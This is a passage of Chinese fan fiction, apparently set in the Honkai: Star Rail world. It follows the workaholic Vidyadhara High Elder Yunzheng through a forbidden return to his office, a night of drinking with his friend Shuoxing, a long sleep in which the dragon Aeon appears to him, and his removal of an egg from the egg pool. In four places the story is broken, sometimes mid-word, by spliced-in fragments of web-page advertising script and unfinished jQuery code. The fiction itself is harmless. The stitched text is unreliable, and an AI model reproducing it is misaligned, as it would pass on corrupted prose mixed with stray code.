定是要感叹其人顾盼生姿,仿若光影都为之凝滞,今日非要哭着喊着倾说上那么几句。
但云峥并不知晓,而是就着花种的事情斟酌一时片刻,眉头微微蹙起,下意识侧眸担忧地看了一眼萎靡不振的花。
罢了,还是不多说了。
交给她,应当是不会出问题的。
毕竟专业的事自然要交予专业的人。也许他一开始就应该找人专门照顾这些他人赠予的植物。
樊锦郑重地捧着花盆跑去找花匠去了,生怕再耽误下去自家龙尊会因此伤心落泪。
云峥则是避开侍从们偷偷摸摸地溜回议事殿,企图夺回工作的权利。
休沐又怎么了,他都听他们的话按时休息了,为什么不让他干!
议事殿的正门有人看守,进不去。但是龙尊知道这里还有一个暗门。
是某任龙尊为了逃避工作,偷溜出族而专门开的小门,云峥不经意间发现的地方。
与其他龙尊不同的是,他们都不喜工作,唯有云峥跟个另类一样恨不得天天埋公文堆了。
披上黑色斗篷的龙尊放轻脚步,特意绕了一大圈才悄然无声地溜到小门处,手搭上门扉正要推门而入,耳边却忽闻后方有人语声轻唤:“云峥?!”
这声音颇为耳熟,却让龙尊身体一僵。
被发现的龙尊没敢循声而望去,只是手指无意识地捏住斗篷的帽檐,试图将自己的身影藏得更低,然后装作没听见般转身便要跑。
糟糕!没想到竟然有人守在这里!还被逮个正着!
就在他欲转身溜走的瞬间,那声音却再次响起,带着一丝焦急与无奈:“等等,是我烁星啊!”
原是要跟许久未见的好友打招呼,却没料到会把对方吓得想逃,烁星无奈地快步上前,手掌如同铁钳般按住了云峥的肩膀,强行将他摁在原地。
“我又不是龙师他们,你跑什么?”
声音中夹杂着一丝不满,烁星没好气地用手扯下对方那件遮掩身影的斗篷。
没跑成功的云峥,嘴唇微微张合,似乎想说些什么,却只发出一声无奈的叹息:“…抱歉。”
“吾以为汝是他们。”龙尊低着头,诚恳且快速地认错。
毕竟是相识已久的好友,这乖巧的样子让烁星心中一软,也就不忍苛责了。
“不是责怪你,我只是好奇你又因何种原因被龙师他们禁止入议事殿了?”
云峥的回答简洁明了:“今日休沐,他们不准。”
烁星懂了,露出无奈的神色,“休沐也拦不住你那颗工作狂的心。”
“历来龙尊都是被龙师们督促工作,怎么这次生出你这么个怪胎,把工作当成宝,恨不得24h无休止地工作。”
想到自己看过的那些龙师们想尽各种办法不让好友过度劳累的场景,烁星不禁摇头,心中感慨万千。
“…烁星放手,让吾进去。”
不是被龙师发现的,龙尊还是抱有一丝希望地执着于他的工作。
烁星咧嘴一笑,揽住好友的脖颈,一副哥俩好的样子:“都休沐了,莫想着你那些繁杂的公文了。我好不容易回来一趟,陪好友我出去溜达溜达不好吗?”
“不…”
云峥一个“不”字还没吐完就被烁星笑眯眯地捂住了嘴。
“停止你的话语,反对无效,我可没有要听你拒绝的想法。”
烁星态度强硬地拽着云峥往外走,今日他偏要带着对方好生在外面玩上一天。
但二人刚走离议事殿没多远,迎面撞上了从他处而来的两位龙师,当头一人正是龙师槿希。
槿希手中还拿着一份卷宗,当他看到云峥和烁星时,初时愣了一下,但意识到两人的来向后眼神随即变得阴沉,似乎一片乌云在瞬间笼罩了他的面庞。
他皮笑肉不笑地朝着自家亲爱的龙尊道:
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
“敢问龙尊您这是刚从议事殿出来?”
他甚至没称呼云峥的名字,直接喊的龙尊。
云峥辩解道:“吾并未进去,烁星可为吾证明。”
槿希可不信这话,原本和善的语气骤然犀利,“龙尊您是否还记得您昨日夜里答应了老夫与今栀龙师什么?”
“…吾答应,日后皆会按时休憩,不再让龙师们担忧。”
他小声回答,声音如同飘渺的风,微弱而无力。
“那请问今日休沐,您可有半点按照约定行事?”
“没有,吾…”眼神躲闪。
槿希打断他的话,目光失望地望着他:“休与不休虽皆是龙尊一念之间的事,但既已答应吾等,龙尊行事便该考虑到自身承诺。”
“倘若做不到的话,龙尊还是莫要轻易许诺。”
那最后一句话是一根压倒骆驼的稻草,击碎了云峥心中最后的侥幸心理。
那丝缕的羞愧与心虚如同潮水般涌上心头,让他耳尖发烫。
“抱歉,吾这几日都不会再碰公文了。”云峥顿住,眼睛闭了闭,下定决心继续道,“尔等可如旧时派他人监督吾。”
“龙尊,老夫不信。”槿希面色冷凝。
有一便有二,先前是他们太惯着龙尊了。今日势必要斩了龙尊所有的念想。
“……”云峥说不出话来。
面对槿希失望的目光,他突然有种潸然泪下的感觉,眼眶都泛起了红意。
烁星看看槿希,再看看云峥,忍不住心中叹气,站出来当和事佬。
“好了好了,槿希龙师,云峥他已经知道错了,您也知道他的性格,让他断了工作跟要他命一样。”
烁星将好友拉到身后,挡在他与槿希之间。
“我在议事殿汇报完就通知云峥来找我,所以您才能在这看到他。更何况,他都答应我这几日陪我在方壶上逛逛。您不相信他,还不相信我吗?”
“还是说,您真的希望他跟罗浮那饮月君般三天两头族中也见不到影?”
“槿希龙师,云峥他已经是位很好的龙尊了。更何况就连星神都不一定能做到事事完美,而他就这一个爱工作的小毛病您和诸位就多包容包容吧。”
烁星发挥他那张三寸不烂之舌,努力替好友开脱。同时也是在安慰好友,没关系,什么事都不会有,有他在呢。
“……”槿希盯着烁星,那假得不能再假的眼神让他心里一阵无语。
“你这混小子…”到底是看着云峥成长到现在的,槿希终究还是退了一步。
“好好照看云峥大人,他若是出了事,回来老夫唯你是问。”槿希拿起卷宗朝着对方身上拍打了两下。
“行了,去玩吧。”槿希没好气地挥挥手,拉着他身后的弟子给二人让开了路。
烁星笑容灿烂:“好嘞,槿希龙师再见!”
说罢,他拉着云峥的手,拖着人往远处快步走去。
云峥只是呆愣愣地任由他拽着飞奔。
而槿希则立在原地,注视着二人的背影,幽幽叹息。
“云峥大人啊,若老夫几人都离去了,您又该如何是好啊……”
到现在都未曾改过那尚且天真的想法。等到真离开了方壶,又该怎么办啊。
……
5. 醉了
想到自家龙尊的身份,槿希口中泛起苦涩之意。
云峥在位间曾多次坦白过真实身份,他们这群龙师又何尝没去验证过呢?
只是他们这些人啊,不愿意放弃这般好的龙尊。
丰饶令使又如何呢?
龙尊从未对联盟和持明族有过害人之心,一直以来与仙舟联盟作对的只有那丰饶孽物与倏忽,与龙尊无关。
他们怎么能单单因为这丰饶令使的身份便将其送入仙舟联盟的监狱。
龙师们的意见达成了一致——瞒住仙舟。
只要一日未暴露丰饶令使的身份,云峥便一日是他们方壶的龙尊。
现在龙师更替,这一约定只剩他们几个老家伙知道,新龙师无人知晓,所幸龙尊也再未多提及自己的身份。
可若是他们这些老家伙都没了,龙尊的身份为外人曝光,又有何人能护着龙尊呢?
槿希心绪难平。
“我们都错了啊…”
他叹了口气,摇摇头,最终归于平静。
罢了罢了,只愿龙尊平安,方壶维持住如今这份安宁便好。
就算往后龙尊要离开,他们这些个老家伙也不会再拦着了。
“走吧,怀瑾。”
槿希摆摆手,招呼着弟子跟着自己走。
怀瑾却有些迟疑:“老师,龙尊大人他……”
“怀瑾啊,有些事无需过于纠结。你只需牢牢记住,云峥龙尊是自由的,而方壶是幸运的,能让他留在这里。方壶绝不能忘记他的恩情。”
槿希手掌温柔地轻轻地揉了揉弟子的脑袋,仿若传递着一份沉甸甸的责任与关怀,认真且语重心长道。
怀瑾微微怔住,心中波澜起伏,沉默良久,最终低声轻轻应道。他好像全部都懂了,又好像没懂。
或许龙尊大人不完全属于方壶仙舟,但他属于持明族。他愿意为了持明族而留在方壶。
“老师。”
懵懂的持明少年仰望着自己博学多识的恩师,眸中闪烁着如星辰般明亮的光芒,充斥着对未来的憧憬与坚定。
“等我成为龙师的那一天,我一定放龙尊大人离开方壶!”
声音清脆而坚定,仿若清风掠过,朝气十足。
槿希目光温柔地看着这个懵懂却充满热情的弟子,脸上浮现出一抹慈爱的笑容,“好孩子,记住你说的话,一定要还他自由啊。”
“是,我一定会做到的!”少年神情愈发坚定,他在心中默默地立下誓言。
“走吧。”槿希牵起怀瑾的手,“老师还有很多东西要教你啊。”
“我一定会好好学的。”怀瑾用力点头,稚嫩的脸上满是坚定。
“好好好。”槿希笑着回应。
两人往另一个方向前行,背影消失在林木间。
/
另一边
烁星直接带着好友来到了喧哗吵闹的不夜侯。
璀璨的灯光映照出五彩斑斓的摊位,商贩们的吆喝声此起彼伏。众多持明族人间亦夹杂着不少外来旅客,热闹非凡。
烁星的目光落在好友云峥身上,心中不由一紧。见他神色恍惚,似是被什么沉重的情绪所缠绕,烁星伸出手,轻轻拍了拍他的后背以示安抚。
“云峥没事的,槿希龙师的怒火不过是装出来的,那两个老头每次都是这样,你不必过于伤心。”
烁星尽可能地将声音放得柔和,试图抚平好友心中的波澜。“等会儿,你我二人……”
然而,话未说完,云峥却突然打断了他,声音低沉,透着失落。
“…不。是吾,让他失望了…”
他愣愣地抬起头,目光流露出一丝迷茫,颤抖着声音,竟是鲜少地哽咽起来。
他似乎很自责,又不知该和谁倾诉,以至于情绪无法抑制。
青色的眸子闪烁着泪光,眼眶红润,微微下垂,难过的模样令人心疼不已。
烁星眼底划过心疼之色,张开口想要说些什么,却被云峥抬手止住。
“不必安慰吾…”
“吾只是觉得…吾可能、并不适合当…龙尊…”
他沙哑着嗓音道。
空气中顿时弥漫起一股沉重的气氛,烁星的脸色变了又变,仿佛被一记无形的重拳击中。
“怎么可能!你在瞎说什么,除了你还有谁更适合这个位置!”他咬紧牙关。
本以为不过是和寻常差不多的一次情况,毕竟好友偷摸想要工作也不是一次两次了哪次不是敷衍过去了,却不曾想到这次好友竟然会出现如此过激的反应。
早知如此,烁星甚至觉得他还不如放云峥进议事殿工作,至少那里繁杂的事务能让他开心些。
云峥似乎也意识到自己情绪失控,微微颤抖的指尖在掌心处狠狠掐了一下,内心低叹。
唤回理智,他掩下心底不断翻涌的负面情绪,自然地扯唇朝着好友笑了笑,将这份阴郁掩藏在阳光下。
“无事,吾只是想多了。”
“抱歉,坏了汝的好心情。”
烁星紧紧地盯着云峥,目光如同探照灯般穿透着他的内心。
几秒钟的沉默仿佛凝固了时间,直到他真的找不到任何蛛丝马迹,才缓缓开口:
“…你真别想太多,还有我呢,所以别去想那些了,好吗?”
语气中是不容置疑的坚决。
云峥垂下眼睫,长长的睫毛投下两道阴影,薄唇微微抿起,似乎在思索着什么,带着几分深邃的宁静。
“嗯,走吧。”
他看着好友微微点头,轻声细语道,语调一如既往的平静与温和。
“今日吾陪汝。”
然而,烁星没有给出回应,只是一双深邃若星空的紫眸静静注视着云峥,选择了默不作声地跟在他身边。
“……”
沉默的陪伴从艳阳高照到夜幕低垂,华灯初上。
烁星口中快乐玩耍的一天,在二人安静的漫无目的的漫步下度过,他们穿过熙熙攘攘的大街小巷,一直从不夜侯逛到街角尽头的酒屋。
烁星终是开了口,打破沉默:“我陪你喝一晚吧。”
“从明曜那家伙离开方壶,你应该也很久没碰过酒了。如今没了他,你我今夜不醉不归如何?”
他笑眯眯地看着云峥,语气轻松,就像白日的遭遇从未有过。
云峥的眸光在烁星身上停留了一瞬,随即点头应道。
“好。”
他们踏入酒屋,暖色调的灯光洒落在他们的身上,似乎将一切不快都驱散。
两人很快找到一个安静的角落,坐下,点了几壶酒水,杯盏相碰的声音在空气中荡漾开来,预示着一个不眠之夜开启。
紧接着,氤氲如雾气般缭绕的酒香飘荡开去。
一杯接一杯。
明明是清酒,入口却格外辛辣,在喉部停留一下便顺着食道而下,像是流淌的岩浆在胃里燃烧着灼热,火辣辣的感觉瞬间贯穿全身,让每一个细胞都在欢呼沸
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
腾。
定眼看原是烁星趁着他不注意将那一壶清酒喝得一干二净,随后换成了烈酒。
酒杯倾斜,酒液如同快流的溪水流下,云峥将其一饮而尽,他小声呢喃:“吾其实…有些累了。”
不知是否是喝了烈酒的缘故,云峥的脸庞浮上一层绯红,原本清冷的他看起来多了些柔美的感觉。
昏暗的灯光挡不住他从骨子里透露出的疲惫感。
“吾其实不想当龙尊。”
丰饶令使在死敌的仙舟上当龙尊,滑天下之大稽,却又是事实。
“但吾不想辜负他们的期望。”那些持明璀璨的寄托着希冀的眸子若是因他而失了光彩,那又是多么的无情与残忍。
清澈的酒液倒入杯中,龙尊勾起唇角。
“他们很好,吾不能一意孤行。”
“吾要等冱渊,等有人能接替吾。”
他仰头,将酒倒入喉间,火辣辣的疼痛感再次刺激了喉咙。
烁星安安静静地做着云峥的聆听者,时不时为好友与自己的杯中添酒,一杯又一杯。
“但吾发现,坚持从某刻起突然变得很难。”语调轻如秋风,似乎是在自言自语。
“难到吾发现吾也变了。”他叹息着自己的无奈。
龙尊垂下眼眸,青色的眼眸此刻为浓浓墨色所笼罩,似是痛苦似是迷惘。
千余年的在位,恪尽职守,警惕心神。可他不是神,坚持不下去。
内心深处已逐渐被厌倦和麻木所充斥,这千余年对云峥来说已经够了。
他也在这漫长的时间中逐渐迷失了自己。
“明明…不该这样的…”
追随于丰饶仙主的那上千年,他却从未这样过。
是因为情感吗?他不懂。
“吾…不懂…”
“云峥,你醉了。”
烁星伸手,按住好友想要继续斟酒的手,眉宇间满是无奈,“够了,别喝了。”
“…没醉…吾,想喝。”
靠着醉意发泄情绪的龙尊微微仰起头,醉意模糊了他那双如水般润泽的青瞳,神情流露出几分迷茫,沙哑地重复道。
“…要喝,汝说的…不醉不归…”
龙尊执着地想要抢过酒壶。
只是他再怎么动作也抵不过对方的迅速,还未触及酒壶就被对方稳稳握在手心。
青色瞳仁中映入烁星的影子,朦胧的身影倒映在他的眸中,像是一片浮动的水草,在幽暗的水底轻轻摇曳。
“若是再让你喝下去,明日你该头疼得厉害啦。”
烁星放下手中的酒壶,他俯身靠近酒桌,声音轻柔的让人不忍拒绝:“睡吧,我送你回去。”
“……”
龙尊睁着眼睛看着他,眸色迷离。
似乎是因为烁星的笑容,亦或是酒意更浓,头脑愈发得昏沉,连眼皮也变得沉重不已。
抓着烁星手臂上的手失了力气,醉意让其昏昏欲睡,最后一丝意识也渐渐被拖进了黑暗中。
龙尊睡着了。
呼吸均匀而柔和,宛如孩童般,恬静得让人心生怜惜。
“呵,我都说你醉了,偏偏还要和我争。”烁星低笑一声。
他小心翼翼地扶起身形不稳的龙尊,抱出酒馆,稳步回到族中。再将睡着的龙尊送回到他的寝殿,并亲自动手为其换下外衣、盖上薄衾。
“晚安,好梦。”
我的好友,祝你一夜好梦。
……
6. 梦中
这一觉,云峥睡了很久,久到来看望他的人如潮水般一波波来一波波走。
外人皆心急如焚、焦急万分,只有他仿佛遗忘了现世,静静地沉浸在那无边的梦境中。
今栀站在云峥的床前,望着一直昏睡着未醒的龙尊闭了闭眼,随即轻闭上双眼,随后目光如冰刃般冷冽,直射向一旁跪伏的烁星。
“前日你带着龙尊外出,你尚且无恙,而龙尊却至今未醒。”
他的脸上不见往昔温和,声音如寒风刺骨,透着无尽的威严与不容置疑的怒火,“若未能给出合理的交代,恐怕老夫也只好请你入幽囚狱一坐了。”
一时不察竟然致使龙尊蒙受此难,今栀的脸色如同乌云密布,沉重得令人窒息。
他已从暗中护卫的口中听闻了前天的情形,原本看似平常的出行,怎料就这再正常不过的行事,却让龙尊毫无前景地陷入昏迷不醒。
烁星跪伏于地面,双目低垂,眸色愧疚:“是我之错,若非我带他离开族长,他便不会如此。烁星愿承担一切罪责,以性命谢罪。”
“所以,这便是你的交代?”
今栀的眼神沉寂若深海古井般平静而无波澜,看烁星如同在看死物般冰冷。
“老夫在问你,为何龙尊久久未醒,而非在逼着你认罪!”
“……”烁星沉默。
心中如同波涛汹涌的海洋,翻涌着无数的疑惑和不安。他亦不解好友为何陷入沉睡而不醒。思绪一团乱麻,想要他解释原因,简直是无从开口。
更何况,前夜那酒是二人共饮,不可能有问题。
烁星的沉默不语,让今栀胸中怒火更甚,目光狠厉如刀刃直逼烁星而去。
“护珠人烁星,回答老夫的问题!”
“告诉老夫,龙尊究竟是何等原因而导致的昏迷!”
“…我,也不知。”
低垂的眉睫遮挡了眼中的神色,烁星低声喃喃,嗓音透着些许怀疑自我与疲惫。
空气中的紧张感愈加浓重,几乎让人窒息。
“既然如此,来人!送他进幽囚狱吧。”
挥手唤来守卫,今栀冷冷道:“何时坦白,何时便能离开幽囚狱。”
守卫们迅速应命而来,将烁星钳制。
烁星没有挣扎,心中只剩下一丝无奈与忧虑,双眸透着浓重的担忧,望向床上的好友,心底不由得涌起一阵无以言表的愧疚。
他不该带好友出族的。
‘云峥,醒醒。’
被带离房间前,烁星在心里默念着好友的名字,祈求他能安然无恙地醒来。
幽囚狱他并不畏惧,他只是怕云峥真的就此一睡不醒。
当最后一丝门缝被沉重地掩合,刹那间,心中无力感如潮水般涌来,令他感到一阵眩晕,有些站立不稳。
一只手搀扶住了他。
烁星扭头去看,是龙师槿希。
“孩子,老夫知道不是你的错。但这件事总要有人来承担,所以委屈你在幽囚狱待上几日了。”
手掌在烁星的肩上轻拍,槿希安慰着。
“待到龙尊苏醒,你便能出来。”
烁星去看那紧闭的房门,唇瓣抿成一条线,“我知道。”
“麻烦您在他醒后不要告知这件事。”
若让好友知晓自己因为他而被关入了幽囚狱监管起来,其必然会自责不已。
槿希微微颔首,对烁星的恳求并未拒绝。
“放心吧,老夫答应你。”
“谢谢。”烁星点头。
“现在老夫陪你过去。”
“…不必了,我随他们去即可。”
烁星拒绝了槿希的好意,反过来劝对方还是快进去看看情况,尽快让好友醒来。
目送着一行人离去,槿希叹息着摇头,转身推门而入。
“龙尊还未醒?”
脚下的步伐急促了几分,槿希来到云峥床前,瞧他仍躺在那里,面色红润,却双眸紧闭,未曾醒来。
“没有,一直是这样。”
今栀摇了摇头,看着昏睡的人,语气中有着前所未有的凝重,“问过医师,不是中毒。”
“若是中毒,那还好办啊。查不出病因才是最难的啊。”槿希皱起眉头。
“……”今栀看了安安静静如同睡美人般躺着的云峥良久,方才缓缓道,“我们只有等下去。”
“只能这样了…”槿希颔首。
房间的气氛再次陷入凝滞。
……
至于引起如此慌乱的主人公此时另有遭遇。
梦境中有一条无法用言语形容的巨龙,如同虚空中的幽灵,缓缓展开祂那庞大而威严的身躯,划破梦境的宁静。
龙眸似透亮的琥珀,透出幽深而神秘的光泽,洞悉一切。浑身漆黑如墨色渲染,龙鳞若玄铁般闪烁着耀眼的光辉,散发出一种令人窒息的威压。
上古的凶兽缓缓降下,庞大的龙首逐渐逼近下方渺小的云峥,仿佛将他整个人都笼罩在其庞大的阴影之中。
龙吐息,长之又细的龙须拂动着青年的发梢,如风一般吹得他脸颊冰凉。
“吾的子嗣啊——”
巨龙的声音如同古老的钟声,在梦境的深处响起,低沉而又悠远,仿佛从遥远的过去跨越无尽的时空而来。
云峥呆愣地望着这条巨龙,来自血脉深处的躁动,以及发自内心的亲近让他知晓了对方的身份。
那是——
不朽星神,龙。
他的嘴唇微微张动,恍惚间,那个称呼如同被遗忘的咒语从心底冒出。
“父亲。”他轻声唤道。
上千年还是太久了,他几乎都快忘记了这位在自己最初诞生时被采珠人带去觐见的星神究竟是什么样子。
那个曾经光辉灿烂的存在,宛若星海中最耀眼的星辰,散发着令人难以忘怀的光辉。
过去的龙祖,逝去的不朽。
云峥不知道为何自己会在梦境见到祂,或许是内心深处那份未曾磨灭的渴望。
抬手,触碰。
指尖触及那冰凉而柔软的龙鳞,发出轻微的声响,明明是在梦里他却能够清晰感受到对方的温度,还有淡淡的凉意。
龙似乎并不在意云峥此等僭越之举,只是伸出爪子将小人抓在手心中。
然后带着他一同翱飞于无垠的虚空。
原本笼罩在梦境上的黑暗褪去,眼前如潮水般涌现出无数繁复的纹路交错,伴随着一道道绚丽的光芒,逐渐编织成一幅幅令人心醉神迷的画卷。
龙首俯瞰。
“【繁育】的诞生剥离吾之权柄,汝当夺回它。”
龙的声音如雷霆般在云峥的耳际回响,震撼着他的心灵,一股强大的力量如潮水般涌入他的体内,
甚至连回绝的话语都未说出,云峥的意识便如同被无形的手掌推挤般,被踢出了梦境。
他倏然睁开双眼,然后与察觉动静而俯首查看的龙师四目相视。
“龙尊醒了!”绍钦惊喜地大呼道。
随即他被数道身影从床边挤出。
原本安静的房间里顿时充斥着龙师们对云峥关切的询问声。
“龙尊大人,您觉
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
得怎么样?”
“天佑持明,龙尊大人您没事真是太好了!”
“云峥大人,有没有感到身体哪里不适啊?”
“龙尊大人您说句话啊,没事吧?快快去请医师,看看龙尊大人怎么半天都不说话啊!”
“……”
云峥看着一群激动得快要哭出来的龙师们,不由一头雾水,茫然不知所措。
发生什么事了?他们怎么这般紧张?
缺乏信息,龙师们又一人一张嘴让云峥插不进话也不知道该说些什么。
云峥就只能任凭着龙师们像看瓷娃娃般将他从头到尾仔仔细细地检查一遍,生怕出现半点伤口。
龙师们一通忙活下来后,确定云峥并没有受伤之类的,终于放下心来。
“龙尊大人您可知您都睡了多久啊,可让我们好生担心啊。”
“对啊对啊,云峥大人往后想要饮酒,还是在这殿内吧。这次出族便遭遇此等灾祸,若非您平安醒来,我等怕是要悔恨终生,愧对先祖啊!”
他们一言一语说得云峥越发,却也隐隐让其知晓似乎是与烁星一同饮酒有关。
可,那不过寻常好友聚饮又能有何事?
周围的人影绰绰,龙师们喜忧参半的目光落在了他的身上,却让他不由得承认在他睡觉的中间出了令他意想不到的事。
被搀扶着靠坐在床上,云峥疲惫地抬手扶了扶额角。
“多谢诸位关心,吾并无大碍,请诸位放心。”
“可有人愿为吾讲解缘由,为何诸位皆聚于此地?”
他压下因梦境而生波澜的心绪,强迫自己先将眼前之事处理好。
龙师们面面相觑,最后推出了今栀。至于槿希想到昨日自己的言语有些冲,没敢上前。
今栀三言两语将云峥自前天夜晚饮酒归来,一连睡了一天两夜,至今方才醒来的情况概括出来。
云峥缓缓打出一个问号:“?”
等等,原来他不是睡了一夜,而是多睡了一天一夜?
这么解释,那龙师们为何如会今紧张和担忧倒也就不那么奇怪了。
“那云峥大人可知自己因何缘故才昏迷如此之久啊?这万一,万一之后再出了此事我等总要有应对之法啊。”
“……”云峥沉默不语。
脑海中浮现出龙神圣而威严的身躯,祂垂头低目,动作带着些许爱怜地捧起渺小的子嗣,又转瞬而翱至天际。
这便是他苏醒前的画面。
无论如何解读,这都不应该是假的。
云峥坐直了身体,勉强从回忆中中挣脱出来,“…抱歉,饮酒一事,与昏迷并无联系。”
一位龙师焦急的踱步着,“龙尊大人您这没说到点上啊,既然与饮酒无关,那究竟什么原因啊?”
“若您再次昏迷不醒,有甚者趁虚而入……”
话语猛的停顿,未尽之语尤为明显。
他们的担忧并非空穴来风,龙尊的安危甚至会因为此等情况遭受威胁,若是有心之人趁此机会,恐怕真的要出事的。
于是便有龙师好言相劝道:
“云峥大人莫要隐瞒,若真是那烁星所为,碍于云峥大人的面子与其功绩,我等也不会下重手。”
没想到好友会因此被怀疑的云峥:“……此事与烁星无关。”
“那是与何人有关?”
毕竟同是持明一族,龙师们也一直多方关心自己,云峥闭了闭眼,道出真相:“…吾于梦中朝见了龙祖。”
此言一出,房中顿时陷入了死一般的寂静。
……
7. 诞生
云峥的话不仅让龙师们为之一震,看向其的目光更是越发惊疑不定。
云峥抿唇,心下一沉。果然是过于草率了,他不该如此贸然地说出此事。
眼下龙师们多半不相信,并且很可能觉得他或许在胡言乱语。
“……”
片刻沉默后,有龙师小心翼翼地试探道:
“龙尊大人可否再重复一遍?我等刚刚未听清。”
其他龙师们也同时竖直了耳朵。
云峥只好再次重复:“吾于梦中朝见了龙祖。”
这次,此起彼伏的吸气声响起。
龙师们深吸一口气,看向云峥的目光满含尊敬和崇拜。
“不愧是龙尊大人,竟能于梦中觐见那位!”绍钦激动不已,脸上也随情绪而变得红润有光泽。
龙师们相信自家龙尊绝对不会骗他们,所以这消息绝对保真啊。
今栀欣喜之余又含着欣慰,“虽可惜我等未能观摩,但云峥大人能亲自眼观祂之姿仪,亦是我持明荣幸之事。”
“就是不晓吾祖与龙尊大人说了些什么,可否告知我等?”一龙师小心翼翼地询问道。
“…告知无妨,但…”
想及那句话的意思,云峥鲜少地流露出一丝迟疑,话语的沉重让他不由得停顿片刻,“…切不可向外界透露。”
“谨遵龙尊大人口谕!”龙师们齐声应道。
自家龙尊的慎重,也让他们明白龙祖所言究竟如何重要。
抬手示意众人静默,略作沉默,云峥微微叹息,缓声将那时的话语复述一遍:“祂与吾说——”
“【繁育】的诞生剥离吾之权柄,汝当夺回它。”
一句话,再次让在场的龙师皆因此陷入沉默,他们心中似被这句箴言所震撼,久久无法回过神来。
“……”
“这……”
龙师们面面相觑,一时竟不知该如何是好。这句话的分量实在不是他们可以承受的。
他们皆知持明无法繁衍的,究其原因是那只名为塔伊兹育罗斯的虫子升格,将【繁育】的命途从【不朽】的命途中剥离。
而现在塔伊兹育罗斯已陨落,他们又从何将【繁育】重新归于【不朽】之中?
这未免太为难他们了,完成的难度甚至令人感到窒息,仿佛不可完成之事。
“吾不知该如何行事,诸位可有建议,不必顾及直说便是。”
龙师们脸上的为难之色被云峥默默收入眼底,唇角微微勾起,又飞速拉直,面上一片淡然。
“这,我等……”
被询问的龙师们绞尽脑汁,短时间也没能想出半点法子可供龙尊参考。
龙祖的要求犹如高耸入云的山峰,令他们感到无比棘手。而他们此刻脑海中所能想出来的法子似乎每个都显得苍白无力,毫无分量可言。
云峥轻咳一声,他语气温和道:“既然诸位暂时无法,便都回去吧。过几日的族会上希望届时会有一些结果。”
云峥的解围让龙师们松了口气,正欲顺着台阶下再离开。云峥的声音又如同夜空中的明月,轻轻洒落:“不知吾友烁星此时身在何处?”
这突如其来的提问,令在场的气氛再次微微一紧。
派人将其押入幽囚狱的龙师的罪魁祸首今栀依旧面色如常,保持着沉默不语,仿佛一片静谧的湖面,无人知晓其内心四起的波澜。
他在心里叹息:‘果然没能瞒过云峥大人啊。’
其他龙师们则是同时向今栀投去小心翼翼的询问目光,在看到对方神色未变时瞬间明晓,纷纷站出来为其遮掩:
“烁星那孩子被我等派去镇守方寸烟海了,并不在此。若是龙尊大人要见他,我等这就派人去喊。”
云峥的眼神如同秋水般清澈,自然洞察了龙师们间的小动作。
但他没有要为难他们的想法,只是淡然地点了点头,并未多加追问。
“吾知晓,诸位请回吧。今栀和槿希龙师留下。”
见今栀与槿希均无异议,其他龙师便齐齐遵从自家龙尊的决定,迅速撤离,留下三人独处的空间。
待他们一走,云峥看向两龙师,径直开口,不带一丝犹豫:“谁下的令?”
“是老夫。”今栀站了出来,他毫不避讳,坦然承认道。
槿希为其捏了把汗,你好歹也稍微解释一下吧,直愣愣地说出来是真不怕龙尊怪罪啊。
云峥没生气,点了点头,“嗯,放他出来吧。”
今栀微愣,但也飞快应下:“是,老夫稍后便派人去。”
槿希目光诧异地看着今栀,这老家伙今天运气挺不错啊,龙尊竟然没说他?
“回去吧。”
解决了烁星的事,云峥也不准备继续留着两人,干脆放他们离开。
未曾想会被如此轻拿轻放,槿希借着云峥的视线盲区,悄悄地对准今栀的后背,悄无声息地来了个肘击。
他的声音压得极低,几乎只有他自己能听见:“老家伙,你趁着我不在都干了什么?”
他心中百思不得其解,龙尊为何突然变得如此好说话,简直让人摸不着头脑。
今栀瞥了他一眼,似乎没打算在此多做解释,转向云峥拱了拱手,恭敬地说道:“既然云峥大人不再留人,老夫与槿希便先行告辞。”
话音未落,他便拽着槿希朝门口走去,身形消失在房间中。
在龙尊面前不宜和对方好生交流,还是赶紧回去吧。
望着他们的背影消失不见,云峥唤来侍女为自己更衣梳洗。
侍女们迅速且娴熟地忙碌着将自家龙尊的一切收拾妥当,为其换上外出用的华丽衣物。
云峥匆匆离去,向着汤池的位置而去。
祂赠予的力量隐隐约约让他有种预感。
他似乎可以凭借这股力量找寻出隐藏在无数持明卵中的冱渊君。
所以……
冱渊,别想再继续偷懒了!
……
关于龙尊昏迷的消息被掩埋在族人的谈笑与日常生活中。除了那位悉心照顾龙尊起居的侍女和龙师外,其他族人对此全然不知。
未见龙尊,他们只当其又高强度工作被龙师们强压着休息了一天。
所以当云峥出现在汤池前,守卫们非常迅速认出,并为其打开大门,放其进入。
“龙尊大人!”守卫们恭敬行礼,目送着云峥走入。
汤池内的景象一如既往没有什么变化,只是云峥这次而来的目的不一样了。
细碎的流光在眸中闪烁,将目光所及之处的持明卵一眼扫过。
很快经过观察过后,云峥找到了他想要找到的。
在一众微光中,有一处的光芒格外耀眼,宛若黑暗中的火光明亮,极其显眼。
云峥小心翼翼地将那枚格格不
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
入的持明卵从池底抱出。
入手是一阵凉意,似冰雪入掌。
“汝醒了?”察觉到持明卵的细微波动,云峥唇角带上浅淡的弧度,声音放得格外和缓。
听到云峥的声音,那枚持明卵猛地抖动起来,一股抗拒之意从中传出。
“汝没有选择。”
持明卵的不配合,让云峥蹙眉,却并没有过多意外,他沉声提醒道,“汝必须承担职责。”
好像是明白面前之人不可抗衡,持明卵抖动的幅度渐弱,最终停止。
随即一道小小的裂缝出现在壳上。
见对方妥协,云峥唇角带起小小的弧度,“此后,吾会担任汝之师,教导汝。”
话音刚落,持明卵上的裂痕更多了些,可依旧不见其破壳而出。
云峥将持明卵抱在怀中,一并带了出去,正大光明,丝毫没有一点偷摸拿走孩子的自觉。
毕竟持明卵是持明族为剩不多的族人,每一枚若要带走皆要通过重重手续得到批准才行。而像云峥这样直接拿属于违反族规的行为,是要受罚的。
云峥出来时,门口的守卫看到他怀中的持明卵,脸色都变得紧张与惊慌。
“龙尊大人!持明卵不可随意带离汤池!”
守卫硬着头皮上前拦住云峥,想通过劝解让其将持明卵送回去。
